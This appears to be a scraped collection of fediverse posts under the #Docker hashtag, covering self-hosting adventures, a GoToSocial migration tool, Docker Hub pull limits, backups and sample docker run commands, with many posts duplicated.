#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Hello Fedi friends,

Please stage an intervention. This is a special “my adventures in self-hosting - 🤡 edition” toot.

So I need to learn #Docker in order to move my #Ghost blog there - possibly - as it’s the only way to let it federate (per the official Ghost.org documentation).

If you’ve followed me here for a while, you might have caught a running joke “please don’t tempt me to get a THIRD #VPS”.

This is my mayday, begging you: “please talk me out of getting a third VPS.”

I was happily doing online research wondering if I could install Docker on my #RaspberryPi5. Sure, it’s possible. Good to know.

Then things escalated when I started wondering: “hmmm how much would it cost to get a new VPS for Docker testing purposes?”

I checked out the website of my current VPS provider and noticed that you could get a basic VPS and pick an application that would come pre-installed. Docker is in the list of applications with a thumbs up next to it. Oh and I have a $20 credit after a commission. Awww the temptation!

I’m currently with my extended family in the middle of nowhere, with no WiFi in the house, one bar of 5G in most places (at best) and a laptop that refuses to connect to my phone’s hotspot. I’m typing this on my iPad (which is cooperating, vis-à-vis tethering). It’s my 12th day in this location, with 4 days to go before I return to civilization. I’m easily tempted because I’m going a little batty.

Please please please tell me that it’s better to learn Docker on my Pi 5. It’ll be waiting for me at home in a few days 😅

#MySoCalledSudoLife

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

Good morning Fedi friends!

A new learning adventure begins 👀

#SelfHosting #Docker #NeverStopLearning #MySoCalledSudoLife

ALT text details

The photo of an iPad (with an Apple Pencil resting on top) with the screen showing a still from a video tutorial from the channel Techworld with Nana about « What is Docker ? »

"Musty Bits" McGee

@arichtman@eigenmagic.net

Is it even possible to have a Dockerfile `ENV` default to a build argument?

#Docker #Containers #OCI

$code warning: ``` ARG DOCKER__PACKAGE_AUTH_TOKEN ARG CI_JOB_TOKEN ENV CI_JOB_TOKEN=${CI_JOB_TOKEN} ENV DOCKER__PACKAGE_AUTH_TOKEN=${CI_JOB_TOKEN:-${DOCKER__PACKAGE_AUTH_TOKEN}} ```$

ALT text details

code warning: ``` ARG DOCKER__PACKAGE_AUTH_TOKEN ARG CI_JOB_TOKEN ENV CI_JOB_TOKEN=${CI_JOB_TOKEN} ENV DOCKER__PACKAGE_AUTH_TOKEN=${CI_JOB_TOKEN:-${DOCKER__PACKAGE_AUTH_TOKEN}} ```

BLACKVOID ⚫️

@blackvoid@mastodon.social · Reply to Elena Rossini on GoToSocial ⁂'s post

@elena Waiting for 6.1 #Ghost in the next few weeks before I push all my instances over from v5 to 6. Looking forward to the federation feature!

#docker all the way 🤘🏻

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com · Reply to Elena Rossini on GoToSocial ⁂'s post

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com · Reply to Elena Rossini on GoToSocial ⁂'s post

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com · Reply to Elena Rossini on GoToSocial ⁂'s post

I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:

https://docs.ghost.org/update?ref=ghost.org

I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)

I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅

Matthias Klein

@matthias@me.klein.ruhr

🔧 Thinking about migrating from Mastodon to GoToSocial?

I've done it – fully documented, production tested, with real benchmarks and custom tooling.

✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity

📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.

👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/

#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker

"Musty Bits" McGee

@arichtman@eigenmagic.net

The new Kubernetes mount-an-OCI-artifact feature got me thinking about backups, layers, data locality, and deduplication via CAS.

Imagine using image layers as snapshots and pushing images as your application's data backup. Then by specifying latest* for the volume mount it would automatically come up with eagerly-cached, local data.

I don't think CAS helps our case for storage here as a layer-snapshot mapping isn't granular enough. Of course it's not like you'd want to redesign your Postgres paging configuration entirely around a better mapping to image layers but there's something there...

Registry-side you could do periodic compaction, archival, export etc.

OCI image layers are already limited though last time I checked. Nix maps derivations (think packages) to layers and neither OCI nor the tooling were designed for that kind of blowout. Could be tackled though.

*yes yes, anti pattern. Hold ur underwear a moment.

#OCI #Containers #Kubernetes #k8s #PlatformEngineering #DevOps #Cloud #Docker

Ian Wagner

@ianthetechie@fosstodon.org

Burned by Google’s latest(?) project shuttering? I wrote a quick post on how to build container images without resorting to hacks like docker-in-docker or privileged containers. Because somehow the year is 2025 and it’s STILL hard to build images without these hacks and access to a Docker daemon 🤣

https://ianwwagner.com/til/rootless-gitlab-ci-container-builds-with-buildkit

#DevOps #Docker #podman #kubernetes

Oliver

@oliver@metalized.net

Wer noch eine #selfhosted-Alternative für #komoot (samt Importmöglich daraus und aus Strava!) sucht, dem sei mal #wanderer ans Herz gelegt.

Sehr früh bereits sehr stabil, wunderschönes #Docker-Deployment! 👍🏻

https://wanderer.to

Matthias Klein

@matthias@me.klein.ruhr

German Version (english below)

Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.

Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.

Was es macht:

Verarbeitet RSS-Feeds verschiedener Fediverse-Instanzen
Docker-Deployment mit simplem .env-Setup
Sehr ressourcenschonend (kompletter Stack mit GoToSocial + FediFetcher: ~450MB RAM)
Zeigt detaillierte Statistiken

Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.

Feedback gerne willkommen! 🚀

Just released "GTS-HolMirDas" as an open source project.

RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.

What it does:

Processes RSS feeds from various Fediverse instances
Docker deployment with simple .env setup
Very resource-efficient (complete stack with GoToSocial + FediFetcher: ~450MB RAM)
Shows detailed statistics

Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.

Feedback welcome! 🚀

#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation

Matthias Klein

@matthias@me.klein.ruhr

German Version (english below)

Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.

Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.

Was es macht:

Verarbeitet RSS-Feeds verschiedener Fediverse-Instanzen
Docker-Deployment mit simplem .env-Setup
Sehr ressourcenschonend (kompletter Stack mit GoToSocial + FediFetcher: ~450MB RAM)
Zeigt detaillierte Statistiken

Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.

Feedback gerne willkommen! 🚀

Just released "GTS-HolMirDas" as an open source project.

RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.

What it does:

Processes RSS feeds from various Fediverse instances
Docker deployment with simple .env setup
Very resource-efficient (complete stack with GoToSocial + FediFetcher: ~450MB RAM)
Shows detailed statistics

Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.

Repository: https://git.klein.ruhr/matthias/gts-holmirdas

Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.

Feedback welcome! 🚀

#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation

Oliver

@oliver@metalized.net

Wer noch eine #selfhosted-Alternative für #komoot (samt Importmöglich daraus und aus Strava!) sucht, dem sei mal #wanderer ans Herz gelegt.

Sehr früh bereits sehr stabil, wunderschönes #Docker-Deployment! 👍🏻

https://wanderer.to

Elena Rossini on GoToSocial ⁂

@elena@aseachange.com

🏕️ my adventures in self-hosting: day 220 (roller coaster edition) 🎢

A new blog post where I discuss how sanity prevailed and I will NOT install my own Lemmy instance. But! Now I'm tempted to set up something else. Thankfully reality for now is disrupting my fanciful plans.

🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-220-roller-coaster-edition/

#MySoCalledSudoLife #Sharkey #Friendica #GoToSocial #YunoHost #Docker

Benedikt Ritter (he/him)

@britter@chaos.social

Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦

I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!

Here’s how I fixed it with a cleaner setup 👇
https://britter.dev/blog/2025/07/22/gradle-jooq-docker/

#gradle #docker #jooq #flyway #java #devlog #programming

Benedikt Ritter (he/him)

@britter@chaos.social

Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦

I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!

Here’s how I fixed it with a cleaner setup 👇
https://britter.dev/blog/2025/07/22/gradle-jooq-docker/

#gradle #docker #jooq #flyway #java #devlog #programming

Jamie

@jamie@gamerstavern.online · Reply to Jamie's post

What are your favourite monitoring tools for your home labs?

I’m looking to get some recommendations. Be great if it has an accompanying app for mobile or a decent web app.

#SelfHosting #SelfHosted #HomeLab #Docker

Jamie

@jamie@gamerstavern.online · Reply to Jamie's post

What are your favourite monitoring tools for your home labs?

I’m looking to get some recommendations. Be great if it has an accompanying app for mobile or a decent web app.

#SelfHosting #SelfHosted #HomeLab #Docker

cmars

@cmars@infosec.exchange

Some exciting #stigmerge updates to share!

All stigmerge peers are now seeders -- there are no #leechers in official stigmerge releases. Sharing is caring! #veilid private routing mitigates the privacy hazards normally associated with sharing content over public networks directly.

Peers gossip with each other _constantly_, advertising themselves and discovering new neighbors -- and they store these contact lists in the #veilid DHT like a pheromone trail. So even when an original seeder is long gone and goes offline -- if just one of its last-known neighbors is online, future travelers still have a chance to join a live swarm of active peers.

Fetchers can balance downloads among multiple peers, gravitating towards the most productive ones.

It's also super-easy to run stigmerge from an OCI container now (#Docker or #Podman as you like).

Check out the updated README for more details -- and the 0.5.6 release to try these new superpowers out for yourself!

https://github.com/cmars/stigmerge
https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.6

#filesharing #p2p #anonymity #privacy

cmars

@cmars@infosec.exchange

Some exciting #stigmerge updates to share!

Fetchers can balance downloads among multiple peers, gravitating towards the most productive ones.

It's also super-easy to run stigmerge from an OCI container now (#Docker or #Podman as you like).

Check out the updated README for more details -- and the 0.5.6 release to try these new superpowers out for yourself!

https://github.com/cmars/stigmerge
https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.6

#filesharing #p2p #anonymity #privacy

Jamie

@jamie@gamerstavern.online · Reply to Jamie's post

Okay so this evening I finally got around to setting up some backup logic on my NAS. I have an rclone docker container which runs a “copy” command every night to backup my docker data/config directory and store it in an S3 storage bucket, and the removes itself so it doesn’t use any unnecessary resource.

It’s definitely not perfect (it might even be overly complicated), but it’ll do for now. At least I know I have some form of backup should shit hit the fan.

#SelfHosting #SelfHosted #HomeLab #Docker

Jamie

@jamie@gamerstavern.online · Reply to Jamie's post

Question for Docker / Portainer users; How do you manage your backups?

I really don’t want to make any services I host “live” before I have a good backup solution in place so looking for tips! Thanks!

#SelfHosting #SelfHosted #HomeLab #Docker #Portainer

Jamie

@jamie@gamerstavern.online · Reply to Jamie's post

It took a while to get my head around as I’m a complete noob at it, but this afternoon I’ve got Docker and Portainer setup and a container running Nginx.

Also got a cronjob running every 10 minutes to automatically update DNS records in Cloudflare whenever it detects my public IP at home has updated. 😎

#SelfHosting #SelfHosted #HomeLab #Docker #Portainer #Nginx #Cloudflare

Collabora Office

@CollaboraOffice@mastodon.social

Set up Collabora Online in minutes!

Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.

☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups

🎬 Ready to get started? Watch the full guide: https://buff.ly/ddlzXH0

#SelfHosting #Docker #CollaboraOnline #OpenSource #RaspberryPi

Collabora Office

@CollaboraOffice@mastodon.social

Set up Collabora Online in minutes!

Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.

☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups

🎬 Ready to get started? Watch the full guide: https://buff.ly/ddlzXH0

#SelfHosting #Docker #CollaboraOnline #OpenSource #RaspberryPi

norman_dockseed

@norman_dockseed@norden.social

👋 Moin!

Ich komm aus Buxtehude, bastel Server und trink Kaffee wie root Bier.
Meine Hobbys: Dinge hosten, bis sie laufen. Dann neustarten.
Selfhosting, Open Source, Fahrrad, bissl Aktienquatsch nebenbei.
#introductions #Fediverse #Linux #NordNerd #Docker

Jamie

@jamie@gamerstavern.online

I'd like a solution to self-host services such as Vaultwarden, Immich and Home Assistant at home. I don't want to rely on cloud solutions for this so I'm thinking maybe along the lines of a Raspberry Pi for the Docker apps and a NAS for the backend storage, but I'm really clueless as what to get. I just know that I'd want something relatively simple and easy to maintain.

I'm also a bit of a Linux and Docker noob so I'm looking to get some advice and ideas from the Fedi community!

What would your suggestions be? What does your home lab setup look like?

#SelfHosted #HomeLab #Linux #Docker #NAS #RaspberryPi #VaultWarden #Immich #HomeAssistant

NABU Jena

@NABU_Jena@nabu.social

Wir suchen ein*e Entwickler*in für Python und Django. Unsere Wildvogelhilfe hat eine eigene Patienten-Webapp, welche dringend mehr technische Untersützung braucht.
https://git.kraut.space/nabujena/FallenBirdyForm
Melde dich wenn du uns helfen kannst.
#FOSS #Hilfe #NABU #OpenSource #Dev #Python #Docker #Ehrenamt

Sven A. Schmidt

@finestructure@mastodon.social

OrbStack is so good. It's a drop-in replacement for #Docker on #Mac with a sleek native app as a control centre.

https://orbstack.dev

ALT text details

Activity view of the OrbStack app showing a running container with metrics in the side bar resource usage: CPU, memory, network, and disk. It’s a modern Mac app with lots of additional features like viewing container logs and connecting to a running container.

Sven A. Schmidt

@finestructure@mastodon.social

OrbStack is so good. It's a drop-in replacement for #Docker on #Mac with a sleek native app as a control centre.

https://orbstack.dev

ALT text details

Wesley Moore

@wezm@mastodon.decentralised.social

whoa Apple made its own Docker alternative. So now both Apple and Microsoft have first-party functionality targeted at running Linux virtual machines on their operating systems—wild!

https://mastodon.social/@ktoso/114656000791434716

#macos #docker #linux

Wesley Moore

@wezm@mastodon.decentralised.social

whoa Apple made its own Docker alternative. So now both Apple and Microsoft have first-party functionality targeted at running Linux virtual machines on their operating systems—wild!

https://mastodon.social/@ktoso/114656000791434716

#macos #docker #linux

Ryan Peters

@ryan@social.binarydad.com

What lightweight monitoring option can I run that will give me historical stats on memory and cpu for both the host and each container? I'm trying to track down a random timeout (suspecting caused by cpu spikes) at exactly 2am on some nights.

Should run as a docker container. Thanks!

#docker #containers #monitoring #boost #selfhosted #homelab

Ubuntu Korea Community

@UbuntuKrOrg@mastodon.social

오늘 오후 2시, #포항 #한동대학교 에서 #Ubuntu 리눅스를 활용한 프론트엔드 배포 환경 구축 워크샵이 열립니다!
참가 마감은 오후 1시 30분까지이니, 참가를 희망하신다면 지금도 신청하실 수 있습니다 :)

잠시 후 뵙겠습니다!
#Multipass #Rockcraft #Docker
🎟️ 참가 신청 https://event-us.kr/m/104210/35052

Ubuntu Korea Community

@UbuntuKrOrg@mastodon.social

잠시 후 뵙겠습니다!
#Multipass #Rockcraft #Docker
🎟️ 참가 신청 https://event-us.kr/m/104210/35052

cos

@cos@fosstodon.org

@mobilizon any estimate when the docker image will be upgraded to fix the latest vulnerability? I had to shut down our instance until it's available.

If CI is broken, could someone just make a new image manually for this release?

#mobilizon #Vulnerability #docker

Maho Pacheco 🦝🍻

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub

Maho Pacheco 🦝🍻

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub

Maho Pacheco 🦝🍻

@mapache@hachyderm.io

Do you want to help testing @badgefed and provision your local test instance?

Easy

And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin

#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub

Paul Campbell

@paul@mitra.kemitix.net

git-next: 🔥 New release v2025.5.0 - Refactoring and isolating features

🧩 git-next: trunk-based development manager
🦀 Written in Rust
⭐ Repo: https://codeberg.org/kemitix/git-next

What's New

- Reimplement git operations to use git2/libgit2
- Renamed features:

forgejo -> forge-forgejo

github -> forge-github

- Extracted desktop and email notification support into non-defaults features;

notify-desktop

notify-email

This a significant update to migrate from gix to git2 for git operations. This allows us to drop the gix crate and the need to shelling-out to git for operations that gix doesn't support.

Breaking Change

If you are build from source (e.g. cargo install) and use either email or desktop notifications in your configuration file, you will need to add the appropriate feature, notify-desktop and/or notify-email. If you don't the config file will not be accepted.

The docker images are built with all features enabled.

Install

📦 cargo install git-next@2025.5.0
📦 cargo install git-next@2025.5.0 --features notify-desktop,notify-email
🐋 docker pull codeberg.org/kemitix/git-next:v2025.5.0

Run UI in docker

docker run --rm -p 8092:8092 \
  -u $(id -u):$(id -g) \
  -it \
  -v $PWD:/app \
  codeberg.org/kemitix/git-next:v2025.5.0 \
  server start --xui

#RustLang #Ratatui #Git #GitNext #OpenSource #Docker #GitHub #ForgeJo

Paul Campbell

@paul@mitra.kemitix.net

git-next: 🔥 New release v2025.5.0 - Refactoring and isolating features

🧩 git-next: trunk-based development manager
🦀 Written in Rust
⭐ Repo: https://codeberg.org/kemitix/git-next

What's New

- Reimplement git operations to use git2/libgit2
- Renamed features:

forgejo -> forge-forgejo

github -> forge-github

- Extracted desktop and email notification support into non-defaults features;

notify-desktop

notify-email

This a significant update to migrate from gix to git2 for git operations. This allows us to drop the gix crate and the need to shelling-out to git for operations that gix doesn't support.

Breaking Change

The docker images are built with all features enabled.

Install

📦 cargo install git-next@2025.5.0
📦 cargo install git-next@2025.5.0 --features notify-desktop,notify-email
🐋 docker pull codeberg.org/kemitix/git-next:v2025.5.0

Run UI in docker

docker run --rm -p 8092:8092 \
  -u $(id -u):$(id -g) \
  -it \
  -v $PWD:/app \
  codeberg.org/kemitix/git-next:v2025.5.0 \
  server start --xui

#RustLang #Ratatui #Git #GitNext #OpenSource #Docker #GitHub #ForgeJo

N-gated Hacker News

@ngate@mastodon.social

🤖✨ Ah, finally! Because what #developer hasn't dreamt of transforming their #Docker #nightmares into standalone executable horrors?🔨👻 Now, brace yourself for terminal-induced #PTSD as you navigate yet another #GitHub maze that promises to "simplify" your life. 🌀🚀
https://github.com/rzane/docker2exe #Simplification #Tools #Terminal #HackerNews #ngated

N-gated Hacker News

@ngate@mastodon.social

Zef Hemel

@zef@hachyderm.io

Writing a single bash script that turns a clean #Debian install into an opinionated #selfhosted setup (the one that I use myself) with:

* #Docker
* #dockge as web UI for managing docker-compose stacks
* @tailscale setup to expose deployed services with TSDProxy as separate TS domains
* Restic for data backups

Anybody interested?

Zef Hemel

@zef@hachyderm.io

Services I'm currently #SelfHosting in #Docker (managed via #Dockge):
* @silverbulletmd (notes, tasks, life)
* Miniflux (RSS reader)
* Jellyfin (local media streaming)
* Linkding (bookmarks)
* N8n (workflow automation)
* SearXNG (private search engine)
* Syncthing (sync)
* Minecraft server (for the kids)
* Calibre web (Web UI to my Calibre e-book collection)

Raphael Lullis

@raphael@communick.com

Note to #php developers who want to distribute #docker images: please consider making your base image *without* the webserver first, and a separate "all-in-one" image if you want to provide something for end users.

Mr. V

@mrv404@mastodon.social

I've reinstalled Slackware and now I'm on "stable".
I'm trying to install docker, and I see that I need to install runc and containerd, but I'm getting this error whien trying to compile runc (I'm using sbopkg for all of these packages.
(Also, I am using alien and multilib)

Any ideas?

#slackware #slackware64 #docker #linux

BLACKVOID ⚫️

@blackvoid@mastodon.social · Reply to Elena Rossini on GoToSocial ⁂'s post

@elena Well it would be best to have the exact setup, yes, just to see how it all behaves, but even if its not, and even if its deployed differently, at least you will know if there are any breaking changes.

For example a parallel #docker deployment of 2 containers (ghost + db) will be more than enough to confirm that the new version of Ghost is working as intended with all your configurations, themes, etc. Restore your current DB content there and rest is fairly easy.

Linux Magazine

@linuxmagazine@fosstodon.org

From last week's Linux Update newsletter: Koen Vervloesem shows you how to manage containers with MicroOS, Cockpit, and Podman
https://www.linux-magazine.com/Issues/2025/291/Container-Management?utm_source=SM
#containers #openSUSE #MicroOS #Cockpit #Podman #Docker

ALT text details

screenshot: The Cockpit web interface allows you to manage your Linux system.

Linux Magazine

@linuxmagazine@fosstodon.org

ALT text details

screenshot: The Cockpit web interface allows you to manage your Linux system.

Fishing Dev

@fishingdev@me.fishingdev.com

One month has passed since I am using #selfhosted #activitypub instance 🎉. I have linux #docker compose stack with @mitra backend (#rust/#postgresql) written by @silverpill and @phanpy as my daily UI for desktop and mobile. Everything works fluent, backend memory print is really low and disk usage is about 2.3 GB as I have set data retention limit to one week and it is totally enough. I am following directly around 150 users + following 7 hashtags via https://relay.fedi.buzz/ which brings also optimal amount of federated posts into my server. Highly recommended!

Fishing Dev

@fishingdev@me.fishingdev.com

雨宮凪沙/nagiko

@BananaGiko_cle@felesitas.cloud

国立国会図書館のOCRライブラリが凄くよかった件(Windows向け) #Docker - Qiita https://qiita.com/yanosen_jp/items/9d3852c29c80dbb952f2

futurile

@futurile@mastodon.social

#guix social talk this week by @paulbutgold on self-hosting @forgejo using #oci / #docker #containers

His Gocix project brings the power of declarative configuration to running container services.

Details on the Wiki or register at the Meetup:

- https://libreplanet.org/wiki/Group:Guix/GuixSocial

- https://www.meetup.com/guix-social/events/306340848/

@fnat

#guix #nix #linux #containers #docker #oci #scheme #guile #selfhosting #forge #foss

ALT text details

Image of the title screen of a talk. Consists of a picture of Giacomo Leidi, and the title of the talk "Self-hosting Forgejo in Guix using OCI Containers" with a sub-heading of "Declarative Docker and OCI Container Services"

futurile

@futurile@mastodon.social

#guix social talk this week by @paulbutgold on self-hosting @forgejo using #oci / #docker #containers

His Gocix project brings the power of declarative configuration to running container services.

Details on the Wiki or register at the Meetup:

- https://libreplanet.org/wiki/Group:Guix/GuixSocial

- https://www.meetup.com/guix-social/events/306340848/

@fnat

#guix #nix #linux #containers #docker #oci #scheme #guile #selfhosting #forge #foss

ALT text details

Changelog

@changelog@changelog.social

“With Docker, we learned that the hard way”

🎥 https://youtu.be/ZthqD40zzMQ

#Dagger (previously #Docker) founder @shykes speaks candidly about the different between an #opensource ecosystem and an actual community

Lup Yuen Lee 李立源

@lupyuen@qoto.org

Our #Mastodon Server for #NuttX Continuous Integration has been super helpful, pushing out alerts of Failed Builds ... Here's how we installed Mastodon Server with #Docker Compose

Article: https://lupyuen.org/articles/mastodon.html

BeAware

@BeAware@mementomori.social · Reply to Kyle Gaywood's post

@Plasticbluemusic 👆👆👆(maybe this will help)

#Fediverse #Fedi #Mastodon #ActivityPub #Docker

"Musty Bits" McGee

@arichtman@eigenmagic.net

MCU but it's Docker: I am chroot

#shitpost #Docker #OCI #Containers

pandoc

@pandoc@fosstodon.org

TeXLive 2024 was frozen a few days ago, and this always leads to issues with the pandoc/latex Docker images. We have pushed new images for the currently supported pandoc versions 3.5 and 3.6.3, and are in the process of updating 3.2.1, too.
#pandoc #docker

Andrew Lock

@andrewlock@hachyderm.io

Blogged: Running an ASP.NET Core app inside IIS in a Windows container

https://andrewlock.net/running-an-aspnetcore-app-behind-iis-in-a-windows-container/

In this post I describe how to run an ASP.NET Core app inside IIS in a Windows Docker container

#aspnetcore #docker #dotnet

Pete Prodoehl 🍕

@rasterweb@mastodon.social

Coming up on my task list is getting multiple/different containers running on a single domain using subdomains… can that work?

So app1.example.com is one Podman container and app2.example.com is a different Podman container… (both using port 80)

I’ve found this guide I might try, but if you have a better way please let me know!

➡️ https://www.redhat.com/en/blog/podman-nginx-multidomain-applications

#podman #docker #containers #web #nginx #selfhosted

Pascal Leinert

@pasci_lei@social.pascal-leinert.de

Bin echt am überlegen, ob ich mit meinem Server von #NixOS zurück auf #ArchLinux gehen soll. Beim Herumprobieren mit #Docker habe ich festgestellt, dass der eine oder andere Container über Arch besser läuft als über Nix. Ich dachte erst, ich hätte bei der Konfiguration was vergessen, aber das Wiki sagt an sich Nein.

https://nixos.wiki/wiki/Docker

Während zum Beispiel ein Container über NixOS ständig crashed, läuft dieser über Arch permanent durch. Ist mir echt ein Rätsel wie das sein könnte, dürfte sich durch Docker doch eigentlich, bis auf die Hardware, nichts zwischen Betriebssystem unterscheiden, vor allem, wenn man sich was von GitHub zieht.

#Linux #Homeserver #Homelab #Selfhosting #Selfhosted

Nextcloud 📱☁️💻

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!

#Rust? #golang? Your choice!

🔗 Read more with other improvements in our blog:

https://nextcloud.com/blog/nextcloud-hub10/

Nextcloud 📱☁️💻

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!

#Rust? #golang? Your choice!

🔗 Read more with other improvements in our blog:

https://nextcloud.com/blog/nextcloud-hub10/

drmorr

@drmorr@hachyderm.io · Reply to drmorr's post

What is a "big image" at Anthropic? 35GB uncompressed

#planetnix #kubernetes #docker #scale22x

"Musty Bits" McGee

@arichtman@eigenmagic.net

Leaving this up with `latest` tag and no `ONBUILD` or other deprecation warning is fucking criminal

#Docker #Containers #OCI

ALT text details

docker hub page for `docker/compose` image stating it's completely abandoned in favor of another image

Lup Yuen Lee 李立源

@lupyuen@qoto.org

"#Docker has delayed its plan to limit image pulls ... from Docker Hub, by one month"

https://www.theregister.com/2025/02/22/docker_hub_pull_limits/

BLACKVOID ⚫️

@blackvoid@mastodon.social · Reply to Elena Rossini on GoToSocial ⁂'s post

@elena Well done! Welcome to the #GhostClub!

#docker #synology #selfhosting

noim

@noim@noc.social

Bruhh, new #docker hub limits are insane. Imagine you debug something and need to wait another hour to download an image. 10 downloads per ip is very hard.

"Musty Bits" McGee

@arichtman@eigenmagic.net

Ohhh the Docker rate limit change might directly be the new ex-Oracle CEO.

Hmm

H/t @daedalus and The Crux for covering that

#Docker #OCI #Containers

DevOps Weekly

@devops_discussions@mastodon.social

Docker Hub will only allow an unauthenticated 10/pulls per hour starting March 1st

https://docs.docker.com/docker-hub/usage/

Discussions: https://discu.eu/q/https://docs.docker.com/docker-hub/usage/

#devops #docker #kubernetes

DevOps Weekly

@devops_discussions@mastodon.social

Docker Hub will only allow an unauthenticated 10/pulls per hour starting March 1st

https://docs.docker.com/docker-hub/usage/

Discussions: https://discu.eu/q/https://docs.docker.com/docker-hub/usage/

#devops #docker #kubernetes

くろでん

@kur0den0010@chpk.kur0den.net

『docker-compose.ymlをDRYに書くテクニック2選 #Docker - Qiita』 - https://qiita.com/reireias/items/ecb81e248314253eb156

DevOps Weekly

@devops_discussions@mastodon.social

Looking for the Best IPTV Provider in Canada? The Best IPTV Service in Canada 🇨🇦 2025 Top IPTV Providers Reddit

http://focus4k.com

Discussions: https://discu.eu/q/http://focus4k.com

#devops #docker

"Musty Bits" McGee

@arichtman@eigenmagic.net

h/t @catsalad

#k8s #Kubernetes #Docker #Containers #OCI #DevOps #PlatformEngineering

ALT text details

a white owl labeled "kubernetes" stares down a snow-owl labeled "docker compose"

weltraumpoet

@weltraumpoet@nerdculture.de

Hallo,

